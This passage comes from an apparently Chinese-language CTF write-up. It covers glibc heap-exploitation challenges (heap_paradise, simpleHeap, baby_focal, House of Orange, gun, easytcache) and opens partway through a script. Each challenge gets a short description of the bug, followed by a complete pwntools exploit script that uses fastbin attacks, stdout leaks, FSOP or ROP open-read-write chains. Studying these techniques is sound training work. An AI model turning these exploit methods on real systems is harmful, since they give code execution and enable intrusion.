)*6 ) remove(19 ) add(20 ,0x20 ,b'\x00' ) add(21 ,0x20 ,b'\x00' ) libcbase = gifts() - 0x3ebca0 print ('libcbase ===> ' +hex (libcbase))free_hook = libcbase + libc.symbols['__free_hook' ] print ('__free_hook ===> ' +hex (free_hook))sys = libcbase + libc.symbols['system' ] add(22 ,0x50 ,b'\x00' *0x40 +p64(free_hook)) add(23 ,0x10 ,p64(sys)) remove(0 ) io.interactive()
task06 0x01.pwnable.tw - heap paradise ( UAF + fastbin attack ) checksec
看到保护全开,
这道题给我做的心态爆炸,像是照着wp抄了一遍,每一步都要注意和后面的联系,还要注意分配堆块的数量,爆破直接手动,写一个固定的地址,一直运行,打远程的时候似乎因为服务器在国外,一直超时,拿个j8的flag(总结:我是彩笔
大概步骤在exp里面写了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *context.log_level = 'debug' io = remote('chall.pwnable.tw' ,10308 ) file = './heap_paradise' elf = ELF(file) libc = ELF('./libc_64.so.6' ) def menu (num ): io.recvuntil(b'You Choice:' ) io.send(str (num).encode()) def alloc (size, data ): menu(1 ) io.recvuntil(b'Size :' ) io.send(str (size).encode()) io.recvuntil(b'Data :' ) io.send(data) def free (index ): menu(2 ) io.recvuntil(b'Index :' ) io.send(str (index).encode()) def DEBUG (): attach(io, 'set resolve-heap-via-heuristic on' ) pause() alloc(0x68 , b'\x00' *0x18 +p64(0x71 )) alloc(0x68 , b'\x00' *0x18 +p64(0x31 )+b'\x00' *0x28 +p64(0x21 )) free(0 ) free(1 ) free(0 ) alloc(0x68 , b'\x20' ) alloc(0x68 , b'\x00' ) alloc(0x68 , b'\x20' ) alloc(0x68 , b'\x00' ) free(0 ) alloc(0x68 , b'\x00' *0x18 +p64(0xa1 )) free(5 ) free(0 ) free(1 ) alloc(0x78 , (p64(0 )+p64(0x71 ))*4 +b'\x00' *0x8 +p64(0x71 )+b'\xa0' ) alloc(0x68 , b'\x00' *0x28 +p64(0x71 )+b'\xdd\xc5' ) alloc(0x68 , b'\x00' *0x18 +p64(0x21 )) alloc(0x68 , b'A' *3 +b'B' *0x30 +p64(0xfbad2087 +0x1800 )+p64(0 )*3 +b'\x00' ) leak = io.recv(100 ) print (leak)loc = 0 if b'\x7f' not in leak: raise Exception() for i in leak: if i == 0x7f : break loc += 1 libcbase = u64((leak[:loc+1 ])[loc-5 :].ljust(8 ,b'\x00' )) - 0x3c4600 print ('libcbase ===> ' +hex (libcbase))one_gadget = [0x45216 , 0x4526a , 0xef6c4 , 0xf0567 ] malloc_hook = libcbase + libc.symbols['__malloc_hook' ] target = malloc_hook - 0x23 print ('__malloc_hook ===> ' +hex (malloc_hook))free(7 ) free(1 ) alloc(0x78 , b'\x00' *0x48 +p64(0x71 )+p64(target)) alloc(0x68 , b'AAAA' ) alloc(0x68 , b'A' *0x13 + p64(libcbase+one_gadget[2 ])) menu(1 ) io.recvuntil(b'Size :' ) io.send(b'16' ) io.interactive()
0x02.[V & N2020公开赛]simpleHeap (off by one + fastbin attack + one gadget) checksec
看到保护全开
IDA打开,看到edit
函数存在off by one
漏洞
在add
函数内看到题目限制了size
的大小,但我们可以在分配后修改size
,从而释放堆块进入unsorted bin
,并且修改后还会造成对堆块重叠,重叠后我们可以直接show
泄露出libc
的地址,从而再次利用fastbin attack
打__malloc_hook
,但是在使用one_gadget的过程中我们发现都不能生效,这是因为one_gadget对当前栈环境有一定要求,对此,由于__malloc_hook
和__realloc_hook
的地址十分接近,在分配fake chunk的时候可以一并控制,因此我们可以先修改__malloc_hook
为__libc_realloc
函数地址,因为其在调用__realloc_hook
之前会进行一系列压栈操作调整栈环境,从而有可能使得满足one_gadget条件。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context.log_level = 'debug' io = remote('node4.buuoj.cn' ,28798 ) file = './vn_pwn_simpleHeap' elf = ELF(file) libc = elf.libc def DEBUG (): attach(io) pause() def menu (choice ): io.recvuntil(b'choice: ' ) io.send(str (choice).encode()) def add (size, content ): menu(1 ) io.recvuntil(b'size?' ) io.send(str (size).encode()) io.recvuntil(b'content:' ) io.send(content) def edit (index, content ): menu(2 ) io.recvuntil(b'idx?' ) io.send(str (index).encode()) io.recvuntil(b'content:' ) io.send(content) def show (index ): menu(3 ) io.recvuntil(b'idx?' ) io.send(str (index).encode()) def delete (index ): menu(4 ) io.recvuntil(b'idx?' ) io.send(str (index).encode()) one_gadget = [0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] add(0x18 ,b'AAAA' ) add(0x18 ,b'AAAA' ) add(0x18 ,b'AAAA' ) add(0x18 ,b'AAAA' ) add(0x40 ,b'AAAA' ) add(0x18 ,b'AAAA' ) edit(0 ,b'A' *0x18 +b'\x41' ) edit(1 ,b'A' *0x18 +b'\x91' ) delete(2 ) delete(1 ) add(0x30 ,b'A' *0x20 ) show(1 ) io.recvuntil(b'A' *0x20 ) libcbase = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x3c4b78 print ('libcbase ===> ' +hex (libcbase))malloc_hook = libcbase + libc.symbols['__malloc_hook' ] realloc = libcbase + libc.symbols['__libc_realloc' ] target = malloc_hook - 35 print ('__malloc_hook ===> ' +hex (malloc_hook))edit(1 ,b'A' *0x10 +p64(0 )+p64(0x91 )+b'\n' ) add(0x60 ,b'AAAA' ) delete(2 ) edit(1 ,b'A' *0x10 +p64(0 )+p64(0x71 )+p64(target)+b'\n' ) add(0x60 ,b'AAAA' ) add(0x60 ,b'A' *11 +p64(libcbase+one_gadget[1 ])+p64(realloc+0x10 )) menu(1 ) io.recvuntil(b'size?' ) io.send(b'16' ) io.interactive()
0x03.第三届美团网络安全高校挑战赛(初赛) - baby_focal ( fastbin attack + stdout leak ) checksec
看到没开PIE,seccomp-tools看到禁用了execve,因此只能orw
IDA打开看到是一个常规的菜单题,有alloc,edit,delete选项,注意到alloc函数中有
1 sizeinfo[2 * (int )index] = nmemb + 16 ;
即可溢出0x10大小,但因为程序中没有打印选项,因此选择打stdout泄露
则解题步骤如下:
先填满tcache,然后释放到unsortedbin中,产生libc地址,同时利用溢出partial overwrite该chunk的fd位为stderr结构体内(可进行fastbin attack的位置),此时释放堆块进行fastbin attack,同时利用溢出partial overwrite一个chunk的fd位为进入unsorted bin 的chunk块。(由于partial overwrite时均需要爆破,则成功概率为1/16*1/16=1/256)
申请到stdout位置,修改结构体,使puts出libc地址。利用fastbin attack控制bss段的指针,获得任意地址写的能力。再修改指针为__free_hook
,修改__free_hook
为puts函数,获得任意地址读的能力。
这时程序基本已经任意由我们操控了。通过_environ变量获取到栈地址,随后直接在栈上写入rop链,直接orw读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *elf = ELF('./baby_focal' ) libc = ELF('./libc-2.31.so' ) def menu (choice ): io.recvuntil(b'exit\n>> ' ) io.sendline(str (choice).encode()) def alloc (index, size ): menu(1 ) io.recvuntil(b'index >> ' ) io.sendline(str (index).encode()) io.recvuntil(b'size >> ' ) io.sendline(str (size).encode()) def edit (index, content ): menu(2 ) io.recvuntil(b'index >> ' ) io.sendline(str (index).encode()) io.recvuntil(b'content >> ' ) io.send(content) def delete (index ): menu(3 ) io.recvuntil(b'index >> ' ) io.sendline(str (index).encode()) def DEBUG (io ): attach(io,'' ) pause() def pwn (io ): io.recvuntil(b'input your name: ' ) io.send(b'./flag.txt\n' ) for i in range (7 ): alloc(0 , 0x60 ) delete(0 ) for i in range (7 ): alloc(0 , 0xd0 ) delete(0 ) alloc(0 , 0x68 ) alloc(1 , 0x68 ) alloc(2 , 0x68 ) alloc(3 , 0x68 ) alloc(4 , 0x68 ) alloc(4 , 0x68 ) edit(2 , b'A' *0x68 +p64(0xe1 )+b'\n' ) delete(3 ) edit(2 , b'A' *0x68 +p64(0x71 )+b'\x5d\x66\n' ) delete(2 ) delete(1 ) edit(0 , b'A' *0x68 +p64(0x71 )+b'\x40\xdd\n' ) alloc(2 , 0x68 ) alloc(1 , 0x68 ) alloc(1 , 0x68 ) edit(1 , b'\x00' *0x33 +p64(0xfbad1800 )+b'\x00' *0x19 +b'\n' ) io.recvuntil(b'\x00' *8 ) libcbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x1ec980 log.success('libcbase ===> ' +hex (libcbase)) __malloc_hook = libcbase+libc.symbols['__malloc_hook' ] setcontext = libcbase+libc.symbols['setcontext' ]+61 log.success('__malloc_hook ===> ' +hex (__malloc_hook)) log.success('setcontext ===> ' +hex (setcontext)) __free_hook = libcbase+libc.symbols['__free_hook' ] environ = libcbase+libc.symbols['_environ' ] bss = 0x404060 delete(2 ) edit(0 , b'A' *0x68 +p64(0x71 )+p64(bss-0x23 )) alloc(0 , 0x68 ) alloc(1 , 0x68 ) edit(1 , b'A' *0x13 +p64(__free_hook)+b'\n' ) edit(0 , p64(0x401134 )+b'\n' ) edit(1 , b'A' *0x13 +p64(environ)+b'\n' ) delete(0 ) io.recvline() stack = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x140 log.success('stack ===> ' +hex (stack)) flag = 0x4040b0 pop_rdi = libcbase+0x23b6a pop_rsi = libcbase+0x2601f pop_rdx = libcbase+0x142c92 open_ = libcbase+libc.symbols['open' ] read_ = libcbase+libc.symbols['read' ] puts = elf.plt['puts' ] rop_chain = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0 )+p64(pop_rdx)+p64(0 )+p64(open_)\ +p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(0x404100 )+p64(pop_rdx)+p64(0x50 )+p64(read_)\ +p64(pop_rdi)+p64(0x404100 )+p64(puts) edit(1 , b'A' *0x13 +p64(stack)+p64(0x100 )+b'\n' ) edit(0 , rop_chain+b'\n' ) io.interactive() while 1 : io = process('./baby_focal' ) try : pwn(io) except : io.close()
task07 0x01.houseoforange_hitcon_2016 - House of Orange ( house of orange ) 先checksec看到保护全开,IDA打开看到add最多4次,edit最多3次,再来看edit函数内部
1 2 3 4 5 6 printf ("Length of name :" );len = input(); if ( len > 0x1000 ) len = 4096 ; printf ("Name:" );sub_C20(houseinfo[1 ], len);
此处未检查之前分配的大小,可以造成堆溢出
注意到程序中没有free函数,因此我们可以尝试利用堆溢出修改top chunk
的size,再申请大堆块(大于top chunk的size),从而free掉top chunk
,之后再申请就可以泄露出libc地址和堆地址
最后再对剩下的top chunk
的bk位进行修改,执行unsorted bin attack
,修改掉_IO_list_all
位置的值,此时_IO_list_all
就会指向main_arena
区域,而修改后的_IO_list_all
指向位置的结构体对应chain域恰好为0x60的smallbin对应的链表头。因此我们需要在之前修改top chunk
的同时修改size位为0x60,这样在申请chunk之后它就会被放入0x60大小的smallbin中,从而伪造_IO_FILE
结构和vtable
表。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *context.log_level = 'debug' io = process('./houseoforange_hitcon_2016' ) elf = ELF('./houseoforange_hitcon_2016' ) libc = ELF('./libc-2.23.so' ) def DEBUG (): attach(io) pause() def menu (choice ): io.recvuntil(b'Your choice : ' ) io.send(str (choice).encode()) def build (length, name, price, color ): menu(1 ) io.recvuntil(b'Length of name :' ) io.send(str (length).encode()) io.recvuntil(b'Name :' ) io.send(name) io.recvuntil(b'Price of Orange:' ) io.send(str (price).encode()) io.recvuntil(b'Color of Orange:' ) io.send(str (color).encode()) def see (): menu(2 ) def upgrade (length, name, price, color ): menu(3 ) io.recvuntil(b'Length of name :' ) io.send(str (length).encode()) io.recvuntil(b'Name:' ) io.send(name) io.recvuntil(b'Price of Orange: ' ) io.send(str (price).encode()) io.recvuntil(b'Color of Orange: ' ) io.send(str (color).encode()) build(0x10 , b'A' , 1 , 1 ) upgrade(0x1000 , b'A' *0x10 +p64(0 )+p64(0x21 )+p32(1 )+p32(0x1f )+p64(0 )+p64(0 )+p64(0xfa1 ), 1 , 1 ) build(0x1000 , b'A' , 1 , 1 ) build(0x400 , b'A' , 1 , 1 ) see() io.recvuntil(b'Name of house : ' ) libcbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x3c5141 log.success('libcbase ===> ' +hex (libcbase)) _IO_list_all = libcbase + libc.symbols['_IO_list_all' ] log.success('_IO_list_all ===> ' +hex (_IO_list_all)) sys = libcbase + libc.symbols['system' ] upgrade(0x1000 , b'A' *0x10 , 1 , 1 ) see() io.recvuntil(b'A' *0x10 ) heapbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0xc0 log.success('heapbase ===> ' +hex (heapbase)) fake_fd = libcbase+0x3c4b78 payload = b'A' *0x400 +p64(0 )+p64(0x21 )+b'A' *0x10 fake_file = b'/bin/sh\x00' +p64(0x60 ) + p64(0 ) + p64(_IO_list_all-0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file = fake_file.ljust(0xc0 , b'\x00' ) payload += fake_file payload += p64(0 )*3 + p64(heapbase+0x5c8 ) payload += p64(0 )*2 + p64(sys) upgrade(0x1000 , payload, 1 , 1 ) menu(1 ) io.interactive()
0x02.bytectf 2020 - gun( UAF+fastbin double-free+orw ) checksec
看到保护全开,seccomp-tools看到只能orw,程序为libc-2.31
IDA打开,分析程序逻辑,程序有三个功能buy,load,shoot。其中buy可以分配堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int buy () { __int64 index; unsigned __int64 size; index = JudgeEnough(); if ( index < 0 ) return puts ("Enough" ); if ( Sign[3 * index] == 1LL ) return puts ("The bullet is Used!" ); printf ("Bullet price: " ); size = input(); if ( size <= 0xF || (__int64)((__int64)off_4010 - size) < 0 ) return puts ("Too pool!" ); if ( size > 0x500 ) return puts ("Too big!" ); *((_QWORD *)&GunInfo + 3 * index) = malloc (size); Sign[3 * index] = 1LL ; printf ("Bullet Name: " ); input_0(*((_QWORD *)&GunInfo + 3 * index), size); off_4010 = (__int64 (__fastcall *)())((char *)off_4010 - size); return puts ("Confirm" ); }
其中off_4010
变量在我获得flag时刚好为0,出题人这么sao吗???
再看load函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int sub_16E1 () { unsigned __int64 v1; printf ("Which one do you want to load?" ); v1 = input(); if ( v1 > 0xD || Sign[3 * v1] == 0LL || Sign[3 * v1] == 2LL ) return puts ("what??" ); if ( BulletInfo ) *((_QWORD *)&GunInfo_AddOne + 3 * v1) = BulletInfo; BulletInfo = (__int64)&GunInfo + 24 * v1; *((_QWORD *)&GunInfo + 3 * v1 + 2 ) = 2LL ; return puts ("Confirm." ); }
以及shoot函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int sub_15F8 () { __int64 v1; int i; __int64 num; __int64 v4; if ( !BulletInfo ) return puts ("No bullet!" ); printf ("Shoot time: " ); num = (unsigned int )input(); for ( i = 0 ; BulletInfo && i < (int )num; ++i ) { printf ("Pwn! The %s bullet fired.\n" , *(const char **)BulletInfo); free (*(void **)BulletInfo); v4 = BulletInfo; BulletInfo = *(_QWORD *)(BulletInfo + 8 ); *(_QWORD *)(v4 + 16 ) = 0LL ; } v1 = RestOfBullet(); return printf ("%lld bullets left\n" , v1); }
在shoot函数中可以看到在free掉目标子弹后,未及时清除next位,导致产生UAF
利用流程大致如下:
先利用UAF泄露libc
利用fastbin double-free
打__free_hook
为一个特殊的gadget,直接orw(在伪造过程中边调试边构造rop链)
特殊gadget为mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
,在这个gadget中,可以给rdx赋值,并且可以call一个函数,可以使能进入setcontext函数之后控制rsp
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 from pwn import *context(arch='x86_64' ,log_level='debug' ) io = process('./gun' ) elf = ELF('./gun' ) libc = ELF('./libc-2.31.so' ) def DEBUG (): attach(io, 'set resolve-heap-via-heuristic on' ) pause() def menu (choice ): io.recvuntil(b'Action> ' ) io.sendline(str (choice).encode()) def shoot (num ): menu(1 ) io.recvuntil(b'Shoot time: ' ) io.sendline(str (num).encode()) def load (num ): menu(2 ) io.recvuntil(b'Which one do you want to load?' ) io.sendline(str (num).encode()) def buy (price, name ): menu(3 ) io.recvuntil(b'Bullet price: ' ) io.sendline(str (price).encode()) io.recvuntil(b'Bullet Name: ' ) io.sendline(name) io.recvuntil(b'Your name: ' ) io.sendline(b'Static' ) ''' gun共分为3个变量: 分别是:chunk位 next_gun位 sign位(其中next_gun位在shoot后不会及时清0,因此会造成UAF) ''' for i in range (9 ): buy(0x80 , b'A' ) for i in range (0 ,6 ): load(i) shoot(6 ) load(7 ) load(6 ) shoot(2 ) for i in range (7 ): buy(0x80 , b'A' ) load(6 ) shoot(2 ) io.recvline() io.recvuntil(b'Pwn! The ' ) libcbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x1ebbe0 log.success('libcbase ===> ' +hex (libcbase)) __free_hook = libcbase+libc.symbols['__free_hook' ] log.success('__free_hook ===> ' +hex (__free_hook)) setcontext = libcbase+libc.symbols['setcontext' ]+61 buy(0x80 , p64(libcbase+0x1ebbe0 )*2 ) load(6 ) buy(0x60 , b'A' ) load(7 ) for i in range (6 ): load(i) shoot(1 ) io.recvuntil(b'Pwn! The ' ) heapbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x541 log.success('heapbase ===> ' +hex (heapbase)) load(8 ) shoot(1 ) for i in range (8 ): buy(0x60 , b'A' ) for i in range (6 ): load(i) shoot(1 ) load(8 ) shoot(1 ) shoot(1 ) load(9 ) shoot(1 ) shoot(1 ) pop_rdi = libcbase+0x26b72 pop_rsi = libcbase+0x27529 pop_rdx_r12 = libcbase+0x11c1e1 ret = pop_rdi+1 open_ = libcbase+libc.symbols['open' ] read_ = libcbase+libc.symbols['read' ] puts = libcbase+libc.symbols['puts' ] pop_r12_r14 = libcbase+0x913b0 flag = heapbase+0x2a0 rop_chain_1 = p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(flag)+p64(pop_rdx_r12)+p64(0x50 )+p64(0 )+p64(read_)+p64(pop_rdi)+p64(flag)+p64(ret)+p64(pop_r12_r14) rop_chain_2 = p64(pop_rsi)+p64(0 )+p64(pop_rdx_r12)+p64(0 )*2 +p64(open_)+p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(flag)+p64(ret)+p64(pop_r12_r14) rop_chain_3 = p64(pop_rdx_r12)+p64(0x50 )+p64(0 )+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts) rsp = heapbase+0x7a0 rcx = ret buy(0x60 , b'B' *8 ) load(0 ) buy(0x60 , b'C' *8 ) load(1 ) buy(0x60 , b'D' *8 ) load(2 ) buy(0x60 , rop_chain_3) load(3 ) buy(0x60 , rop_chain_2) load(4 ) buy(0x60 , rop_chain_1) load(5 ) buy(0x60 , b'H' *0x28 +p64(rsp)+p64(rcx)) load(6 ) buy(0x60 , p64(__free_hook)) content = b'A' *8 +p64(heapbase+0x6b8 )+b'A' *8 +p64(setcontext) buy(0x60 , b'C' *8 ) buy(0x60 , content) buy(0x60 , p64(libcbase+0x1547a0 )) load(9 ) shoot(9 ) io.send(b'./flag\x00' ) io.interactive()
0x03.minilctf - easytcache( safe-linking绕过+tcache_struct劫持+ROP ) checksec
看到保护全开,seccomp-tools看到只能orw,程序为libc-2.33
IDA打开看到是个c++程序,一个菜单题,可以add 5次,free 3次,注意delete函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 v7 = freeinfo[index]; freeinfo[index] ^= 1u ; if ( v7 ) { v4 = std ::operator<<<std ::char_traits<char >>( &std ::cout , "Double free detected! You can't delete a note more than once!" ); } else { sub_28D0(&unk_8240); sub_28D0(a1); sub_32FC(&unk_8260, index); v4 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "Done!" ); }
显然double-free检测没用,free后再次free就可以重置标志位(此时只算作一次free),相当于UAF
则解题步骤为:
先add一个chunk_0(要注意chunk应该尽量大),然后free两次进入tcache,由于safe-linking机制,直接show可以得到堆地址。再free两次使对应tcache_count=2。此时再修改fd位,使指向tcache_struct结构体,然后申请chunk_1,chunk_2,chunk_2即为tcache_struct位置。
edit修改tcache_struct结构体,将对应位置的count修改为7,然后free两次chunk_0,show出libc地址。此时只剩下两次add。
再edit chunk_2使某指针指向_environ
变量,add出来然后show得到栈地址。得到栈地址后修改tcache_struct中任意指针为指定栈地址布置rop_chain,直接orw
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *context.log_level = 'debug' io = process('./easytcache' ) elf = ELF('./easytcache' ) libc = ELF('./libc.so.6' ) def DEBUG (): attach(io) pause() def menu (choice ): io.recvuntil(b'Your choice: ' ) io.send(str (choice).encode()) def add (size ): menu(1 ) io.recvuntil(b'size?' ) io.send(str (size).encode()) def edit (index, content ): menu(2 ) io.recvuntil(b'index?' ) io.send(str (index).encode()) io.recvuntil(b'content?' ) io.send(content) def show (index ): menu(3 ) io.recvuntil(b'index?' ) io.send(str (index).encode()) def delete (index ): menu(4 ) io.recvuntil(b'index?' ) io.sendline(str (index).encode()) add(0x200 ) delete(0 ) delete(0 ) show(0 ) io.recvuntil(b'content: ' ) heapbase = (u64(io.recv(5 ).ljust(8 , b'\x00' ))-0x11 )<<12 log.success('heapbase ===> ' +hex (heapbase)) edit(0 , p64(0 )*2 ) delete(0 ) delete(0 ) pos = heapbase+0x11000 edit(0 , p64((heapbase+0x10 )^(pos>>12 ))) add(0x200 ) add(0x200 ) edit(2 , p16(0 )*0x1f +p16(7 )*9 ) delete(2 ) delete(2 ) edit(2 , b'\x01' ) show(2 ) io.recvuntil(b'content: ' ) libcbase = u64(io.recv(6 ).ljust(8 , b'\x00' ))-0x1e0c01 log.success('libcbase ===> ' +hex (libcbase)) environ = libcbase+libc.symbols['_environ' ] edit(2 , p16(7 )*0x40 +p64(0 )*0x1f +p64(environ)) add(0x200 ) show(3 ) io.recvuntil(b'content: ' ) stack = u64(io.recv(6 ).ljust(8 ,b'\x00' ))-0x150 log.success('stack ===> ' +hex (stack)) pop_rdi = libcbase+0x28a55 pop_rsi = libcbase+0x2a4cf pop_rdx = libcbase+0xc7f32 open_ = libcbase+libc.symbols['open' ] read_ = libcbase+libc.symbols['read' ] puts = libcbase+libc.symbols['puts' ] bss = libcbase+0x1e2000 edit(2 , p16(7 )*0x40 +p64(0 )*0x1f +p64(stack-0x18 )) add(0x200 ) rop_chain = p64(0 )*3 +p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x10 )+p64(read_)\ +p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0 )+p64(pop_rdx)+p64(0 )+p64(open_)\ +p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x50 )+p64(read_)\ +p64(pop_rdi)+p64(bss)+p64(puts) edit(4 , rop_chain) io.recvline() io.send(b'./flag' ) io.interactive()